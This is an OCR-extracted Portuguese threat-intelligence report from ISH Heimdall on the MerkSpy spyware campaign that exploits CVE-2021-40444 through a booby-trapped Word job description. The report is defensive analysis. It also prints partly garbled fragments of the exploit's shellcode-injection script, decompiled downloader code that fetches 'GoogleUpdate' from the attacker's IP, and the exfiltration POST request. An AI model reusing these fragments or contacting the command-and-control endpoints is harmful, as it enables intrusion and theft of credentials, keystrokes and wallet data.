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cibernética e ameacas rapidamente, por meio do
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Heimdall Security Research

A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

A FortiGuard detectou um ataque aproveitando a vulnerabilidade CVE-2021-
40444 no Microsoft Office. Essa brecha de segurancga possibilita que atacantes
executem codigo malicioso utilizando documentos especialmente manipulados.
Nesse incidente especifico, a exploragao resultou na implantagdo de um spyware
chamado “MerkSpy”. O MerkSpy foi desenvolvido para monitorar secretamente as
atividades dos usuarios, coletar dados sensiveis e manter-se presente em
sistemas comprometidos.

MICROSOFT | MSHTML

WX CVE-2021-40444

Microsoft MSHTML Remote Code Execution Vulnerability: Microsoft MSHTML contains a unspecified vulnerability that
allows for remote code execution.

Known To Be Used in Ransomware Campaigns? Known

Action: Apply updates per vendor instructions. B pate Added: 2021-11-03

® Due Date: 2021-11-17

Figura 1 - Falha no Catalogo de Vulnerabilidades Exploradas Conhecidas-KEV-CISA.
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2 CADEIA DE ATAQUE OBSERVADA

45.89,53.46
2. Download “olerender.himl” g — 4, Download “Googlelpdate™
: =

‘Q. *‘ m | ':} 5. Decoeds Data

HTML
1. Explait CVE-2821-48444 3. Write Shell Code

WP

7. Upload Stolen Data

Figura 2 - Fluxo do ataque.

O vetor inicial desse ataque é um documento enganoso do Microsoft Word

que se apresenta como uma descricdo de cargo para um desenvolvedor de
software.

I'm seeking a skilled software developer to create a comprehensive agro-management software
for personal use ]

This tool will essentially automate various tasks and enhance my productivity in managing the
agricultural and livestock aspects of my personal land

Proficiency in software development and programming

Previous experience in creating agricultural or livestock management software would be 3
plus

- Understanding of data security protocols and best practices

I'm looking for a freelancer who can deliver a high-quality, refiable software that meets my
unique needs as a personal agro-manager.

Skilts Required

CH Programming
Software Architecture
Ce+ Programming

Project Management:

Figura 3 - Documento Word observado.

Ao abrir o documento, a exploracao da vulnerabilidade CVE-2021-40444 ¢é
ativada. Esta falha de execugao remota de cédigo esta presente no componente
MSHTML, utilizado pelo Internet Explorer no Microsoft Office. Com essa

O
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vulnerabilidade, um invasor pode executar codigo arbitrario na maquina da vitima
sem necessidade de qualquer outra interacdo do usudrio além de abrir o
documento. O atacante esconde a URL dentro do arquivo “_rels\document.xml”,
que aponta para hxxp://45[.]89[.]53[.]46/google/olerender[.]html. Esse link baixa
um arquivo HTML que configura o ambiente para a proxima etapa do ataque.

Preparacao do ShellCode

ApOds a exploragdao bem-sucedida, o documento malicioso ativa o payload
baixado, "olerender.html," a partir de um servidor remoto. Esse arquivo HTML é
cuidadosamente construido, com um script aparentemente inofensivo no inicio
para disfarcar sua real finalidade. No final do arquivo, estdo ocultos o shellcode e
o processo de injecao, que, quando executados no sistema da vitima, avancam o
ataque.

< IDOCTYPE html><htmlo<headr<meta hLtp "Expires- tant="-1"><meta
"X-UA-Compatible" t t="IE=11"></hsad><body><script

Figura 4 - Olerender.html.

on:{offset:40, size:32), MIDLVersion:{offset:
}}) :var RPC DI - new
, DispatchTabl
sr:l, aize:32),
, BufferlLength:(
iterfaceInformation:
Ap = new Map;:var mapaddr = 4

SymTab (12, {Diape
1)) ivar R¥
fon: {offser:s,
b, Tx
t:24, aize:32}, Rpcrl
Of (map) ;1€ (mapaddr ==

) :)vaxr jacript9 = geth
X )) ;var rpcrtdA = getDllBaze()jacript9, re
script9, ) ivar ntdll = get Ihaze (mavere, ) ivar
e = getDllBase (mavert, ):var VirtualProtect = getPr Addr (
) :var LoadLibrazyExA = gelProcAddr (kernelbaze,

) ivar xyz = document.createAttribute( ) ivar paol = addrof (xyz) ;

var palt = resd(addrOf (xyz) + ’ ) ivar cattribute v
pfun nd Typeld = read(cattiribute vtabl ’
pt i I read(pfun Type
pt v ) = new

' ). {orft : ),

), I5Bind I : L: , =l ma |
else (cattribute lo = reoad(patt, Dind Typold =

. 6, ) :pfunc JSBind Typold ntonts = read(pfun
pfunc Janind Typeld ntents != ‘) {throw Error(
new SymTab (816, ( vtguard:{offset: , Size: ), SecurityContext: ’ B
}, JSBind Typeld:{offset:356, size:32), JSBind InatanceOf:{offsat:360, size:32),
normali s{offset:65¢, size: Lt = aos() :var mag = InitRpc() ;var
rpcFroe = rpcFroe() ;killCig(rpcertd x86 = pnew UintBArray(=c x86.longth
* 7):for (var =0 i<s x86[i * 2] =
sc x86.charCodeAt (1) & - 1 = sc x86.charCodeAt (i) >>
A ;)var kornel32 = call2(l str( o 0, 1)));var
VirtualAlloc = getProcAddr (kernellz, );var sc m call2(VirtualAlloc, [0,

1) ;var tmpBuffer = createArrayBuffer(4) ;writeData(sc,

jeoc kernel32 = call2(LoadLibraryExA, [newStr( e 0, 1))
var cAddr (kornel32, ) ivar rosult = call2(
Sreat . 3c, 0, 0, tmpBuffer]):)</script i

Figura 5 - Parte do cédigo no final de olerender.html.
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O “olerender.html” primeiro verifica a versdo do SO do sistema. Se detectar
uma arquitetura X64, ele extrai o shellcode “sc_x64" incorporado. Apds identificar
a versdo do sistema operacional e extrair o shellcode adequado, "olerender.html"
localiza e recupera as APIs do Windows "VirtualProtect" e "CreateThread". Essas
funcdes sao essenciais para as proximas etapas: o "VirtualProtect" é usado para
alterar as permissdes de memoria, permitindo que o shellcode decodificado seja
gravado na memoria de forma segura. Em seguida, o "CreateThread" executa o
shellcode injetado, preparando o ambiente para baixar e executar a préxima carga
util do servidor do invasor. Esse processo garante a execugao continua do céodigo
malicioso, facilitando a exploracao subsequente.

Uma vez que o shellcode esta posicionado, ele atua como um downloader,
iniciando a proxima fase do ataque. Ele se conecta ao mesmo servidor remoto para
obter um arquivo, disfarcado sob o nome de “GoogleUpdate”. Embora o nome
sugira uma atualizagao inofensiva, “GoogleUpdate” € na verdade altamente
malicioso. Este arquivo contém a carga principal do ataque, que esta
profundamente codificada para escapar das medidas de seguranga comuns. Apds
o download, o shellcode cuidadosamente decodifica e prepara essa carga para ser

executada.

Struct _PROCESS_INFORMATION vi8; //
struct _STARTUPINFOW v19; //
s 1
= InternetOpenA("WINDOWS", @, 0i64, 0i64, 0);
o ;
if ( )
{
= InternetOpenUrlA(v4, “http://45.89.53.46/google/GoogleUpdate”, 0164, O, 0x40000000u, 0i64);
if ( )
{
SHGetFolderPath(0164, 28, 0164, 0, (LPWSTR)&v19.hStdOutput);
- ( )(( )& .hStdInput + 6);
do
++0 73
while ( * );
*(_Oh | = xmmword_140012218;
toryh(( ¥ V& .hStdOutput, 0i64);
- (L “)(( *)&v19.hStdInput + 6);
do
++ H
while ( * )
=( of | = xmmword_140012220;
Crea irectoryb(( v V& .hStdOutput, 9i64);
= ( )& .hStdInput + 6;
do
+= 2;
while ( *( W 2 H
o ¢ ) = xmmword_140912230;
“(( “Jv9 + 1) = xmmword_140012240;
=((_Dw =) + 8) = 101;
- 9;
= CreateFileW(( ISTR)&v19,hStdOutput, ©Ox40000000u, ©, 0164, 2u, ©x80u, 0i6d);

Figura 6 — "GoogleUpdate" baixado.
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3 UTILIZAGAO DO SPYWARE MERKSPY

A carga util extraida esta protegida com VMProtect. Sua principal fungao é
injetar o spyware MerkSpy nos processos criticos do sistema de forma
imperceptivel. O MerkSpy opera discretamente dentro do sistema, capturando
informagdes sensiveis, monitorando as atividades do usuario e enviando dados
para servidores remotos controlados por agentes maliciosos. O MerkSpy assegura
sua persisténcia ao se disfargar como “Google Update”, adicionando uma entrada
de registro para “GoogleUpdate.exe” em
“Software\Microsoft\Windows\CurrentVersion\Run”. Essa abordagem
enganosa garante que o MerkSpy seja iniciado automaticamente quando o sistema
é ligado, permitindo sua operagao continua e a exfiltracdo de dados sem o
conhecimento ou consentimento do usuario.

— 3
chrome : 002000014000884F movups xmmd, xmeword ptr ¢s:aGoogleChromeGo 3i hros pleUpdat Xt

chrome : 0000000140008856 xor edi, edi

chrome : 0000000140008858 xor r9d, r9d

chrome : 0000000140008858 movups xmml, xmeword ptr c¢s:aGoogleChromeGo+ldh
chrome : 2000000140008862 mov [rep+398hevar_358], rdi

chrome : 0000000140008867 lea rdx, aSoftwareMicrds ;| “softua
chrome : 000000014000886¢8 movups xmeword ptr [rax], xeed

chrome : 0000000140028871 xor r8d, réd

chrome : 2000000140008874 mov rcx, @FFFFFFFFE0000001M
chrome : 0000000140008878 movups xmeword ptr [rax+18h], xmel
chrome : 0000000 14000887F lea rax, [rsp+398hevar_343)
chrome : 0000002140008884 mov [rsp+398hevar_348], rdi
chrome : 0020020142008859 mov [rspe398hevar_368], rax
chrome : 0000000 14000888E mov [rsp+398hevar_368], rdi

chrome : 2000000140008893 mov dword ptr [rsp+398hevar_370], 6
chrome : 2200000140008898 mov dword ptr [rspe33Shevar_378], edi
chrome : 200000014000889F call cs:RegCreatekeyExa

chrome : 20000001400088A5 test eax, eax

chrome : 000000014200884A7 jnz short loc_1400088£0

chrome : 0000000140008849 lea rax, [rsp+398hsvar_238)
chrome : 00000001400088AE xchg ax, ax

vy
chrome : 000000014000850¢
chrome : 9000000140008880 loc_140008880:

chrome : 2000000140008880 inc rbx
chrome : 0000000140008883 cmp [raxsrbx], dil
chrome : 0000000140008887 jnz short loc_l40008880
R
=5 7
s =
chrome : 0000000140008389 mov rex, [rsps398hsvar_348)

chrome : 000000014000888E lea rax, [rsps39shéevar_338]
chrome : 00000001400083C) mov dword ptr [rsp+#298hsvar_370], ebx

chrome : 00000001400088C7 lea rdx, aGoogleUpdate : gle Update
chrome : 00000001400@88CE mov red, 1

chrome : 0000000140008504 mov [rsp+398hevar_378], rax

chrome : 0000020142003809 xor r8d, rad

chrome : 000000014000830C call cs:RegSetValueExA
chrome : 000QV2Q1400088£2 mov rcx, [rsp#398hevar_348]
chrome : 00000001400088E7 call cs:RegCloseKey

Figura 7 - Criagao de uma entrada de registro.

Apds a instalagao, o MerkSpy comeca o processo de exfiltracao e monitora
alvos especificos: captura telas, registra pressionamentos de teclas, recupera
credenciais de login do Chrome e acessa a extensdo MetaMask. Apds coletar esses
dados, o MerkSpy envia as informagdes para o servidor do invasor através da URL

Pagina 10|19
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hxxp://45[.]89[.]153[.]46/google/update[.]php. A solicitagdo POST utiliza a
sequéncia de agente de usuario “WINDOWS” e um limite fixo, “
---update request,” indicando um envio de dados de formuldrio multipart. O corpo
da solicitacdo é composto de varias partes.

POST /google/update.php HTTP/1.1

Content-Type: multipart/form-data; boundarys-------cccecccmccccnccennn" update request
User-Agent: WINDOWS

Host: 45.89.53.46

Content-Length: 341

Pragma: no-cache

----------------------------- update request
Content-Disposition: form-data; name="id"
Content-Type: text

DESKTOP-SNU4D24_Chris
----------------------------- update request
----------------------------- update request
Content-Disposition: form-data; name="check"
Content-Type: text

----------------------------- update request

Figura 8 — Parte | da solicitacéao.

----------------------------- update request
Content-Disposition: form-data; name="id"
Content-Type: text

DESKTOP-5NU4D24_Chris
————————————————————————————— update request
————————————————————————————— update request
Content-Disposition: form-data; name="check”
Content-Type: text

----------------------------- update request
————————————————————————————— update reguest
Content-Disposition: form-data; name="key"
Content-Type: text

————————————————————————————— update request--

Figura 9 - Parte Il da solicitagéo.

O
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----------------------------- update request
----------------------------- update request
Content-Disposition: form-data; name="key"
Content-Type: text

............................. update request
----------------------------- update request

Content-Disposition: form-data; name="fileToUpload[]"; filename="
TEM63CA. tmp™

Content-Type: image/jpeg

-update request

form-data; name="fileToUpload[]”; filename~"001.bin"

Figura 10 - Parte Ill da solicitagéo.

e id— EspecificaoID do cliente, que inclui o nome do host do computador e
o0 nome do usuario.

e check— Um sinalizador de status que indica o check-in.

o key— Contém os dados capturados pelo keystroke logger. Ao carregar um
arquivo grande, este parametro serve como um indice para o arquivo de
carregamento.

o fileToUpload[] — Representa um arquivo carregado, como credenciais de
login extraidas ou uma captura de tela.

O
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4 MITREATT&CK-TTPs

Tatica
Initial Access

Execution

Persistence

Privilege Escalation

Credential Access

Discovery

Command and
Control

Exfiltration

Técnica Detalhes
T1193 Envio de documentos maliciosos por
Spear Phishing e-mail para explorar vulnerabilidades
Attachment em software legitimo.
T1203 A vulnerabilidade é acionada ao abrir
Exploitation for Client o documento, permitindo a execugao
Execution de conteudo HTML malicioso.
Persisténcia é mantida através da
T1053 criacao de tarefas agendadas ou
Scheduled Task/Job ¢ ge
entradas no registro.
T1548 Técnicas sdo usadas para elevar
AR EOEEn Genrel rivilégios apds o acepsso inicial
Mechanism P g P ’
T1056 Captura de credenciais e outras
informagoes sensiveis através de
Input Capture
spyware
71082 O malware realiza reconhecimento do
. sistema para coletar informagdes
System Information ) -
. sobre configuragéo e software
Discovery .
instalado.
Estabelecimento de um canal de
T1071
. comando e controle usando
Application Layer Protocol . ~
protocolos de camada de aplicagéo.
11041 Dados capturados sao exfiltrados
Exfiltration Over C2 para servidores controlados pelos
Channel atacantes.

Tabela 1 -Tabela MITRE ATT&CK.
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5 RECOMENDACOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Atualizagoes e patches

e Aplique todos os patches de seguranga recomendados pela Microsoft para
corrigir a vulnerabilidade CVE-2021-40444 no Microsoft MSHTML.

Configuracao e Hardening

e Se possivel, desabilite o uso de MSHTML (Trident) para abrir documentos do
Office, especialmente se nao for essencial para as operagdes diarias.

e Use politicas de grupo para restringir a execugao de scripts e macros em
documentos do Office recebidos de fontes ndo confiaveis.

Treinamento e conscientizacao funcionarios

e Treine os funcionarios para reconhecer e evitar phishing e outras taticas de
engenharia social que poderiam resultar na abertura de documentos
maliciosos.

Monitoramento e detecc¢ao

e Implemente solugbes de monitoramento continuo para detectar
comportamentos anémalos ou indicadores de comprometimento (loCs)
relacionados ao MerkSpy e a CVE-2021-40444.

e Utilize ferramentas de seguranca que oferecam protecdo em varias
camadas, incluindo antivirus, EDR (Endpoint Detection and Response) e
solugdes de deteccdo de ameacas de rede.

Backup e recuperacgao

e Mantenha uma estratégia de backup robusta com backups regulares e
testados, armazenados offline ou em locais seguros, para garantir a
recuperacao em caso de comprometimento.

Protecao de e-mail

o Utilize solugdes de filtragem de e-mail para bloquear anexos maliciosos e
links de phishing antes que cheguem aos usuarios finais.

Avaliacao de vulnerabilidades

o Realize avaliacdes regulares de vulnerabilidade para identificar e corrigir
falhas de segurancga antes que possam ser exploradas.
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6 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: 8264e3b10d7cacd6897159459fe3ddel

sha1: b26f7c¢569064a681f23434b6e63e31cddle3b761
sha256: 92eb60179d1cf265a9e€2094c9a54e025597101b8a78e2a57¢19e4681df465e08
File name: 8264e3b10d7cacd6897159459fe3ddel.docx

Indicadores de compromisso do artefato

1280cd07f63a4086ae34c55b9a09b7ae
742fb316e017f5e8a53d12be3d2b5a173ch089de

sha256: 95a3380f322f352cf7370c5af47f20b26238d96c3ad57b6bc972776cc294389a
File name: Blueprint TradingJournal.docx

Indicadores de compromisso do artefato

321b95fdc4bcefc899f8d5802faeledc
7058655f5307edba9f3925a9b508add9182259¢1

sha256: 0ffadb53f9624950deale07fcffcc31404299230735746ca43d4db05e4d708c6
File name: Need to Upgrad FIDO2-Net-Lib.docx

Indicadores de compromisso do artefato
e545865a9d2a4ef7689aaee289ab48fc

sha1: b64d2b4b478467990793bae0fa2a8282e8d4d43f
sha256: dd369262074466ce937b52c0acd75abad112e395f353072aelle3e888ac132a8
File name: olerender.html

Indicadores de compromisso do artefato
md5: 7d03cd9e630b1b514d14d78613fc98d7

sha1: a36c272e8967d0bb4b0c5a1110f7a81b740bbb97
sha256: 6cdc2355cf07a240e78459dd4dd32e26210e22bf5e4a15ea08a984a5d9241067
File name: GoogleUpdate.exe

Indicadores de compromisso do artefato
sha256: 569f6cd88806d9db9e92a579dea7a9241352d900f53ff7fe241b0006ba3f0e22
Tabela 2 - Indicadores de Compromissos de artefatos

Indicadores de IPs

Indicadores de URL, IPs e Dominios
IP 45[.]189[.153[.146

Tabela 3 - Indicadores de Compromissos de Rede.
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Obs: Os links e enderecos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulacao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.

Pagina 16|19




) heimdall

security research

REFERENCIAS

e Heimdall by ISH Tecnologia
o FortiGuard

e MITRE ATT&CK

e NVD

17119


https://www.fortinet.com/blog/threat-research/merkspy-exploiting-cve-2021-40444-to-infiltrate-systems
https://attack.mitre.org/techniques/
https://nvd.nist.gov/vuln/detail/CVE-2021-40444

) heimdall

security research

8 AUTORES

¢ Ismael Pereira Rocha

18119




) heimdall

security research

A DIVISION OF ISH




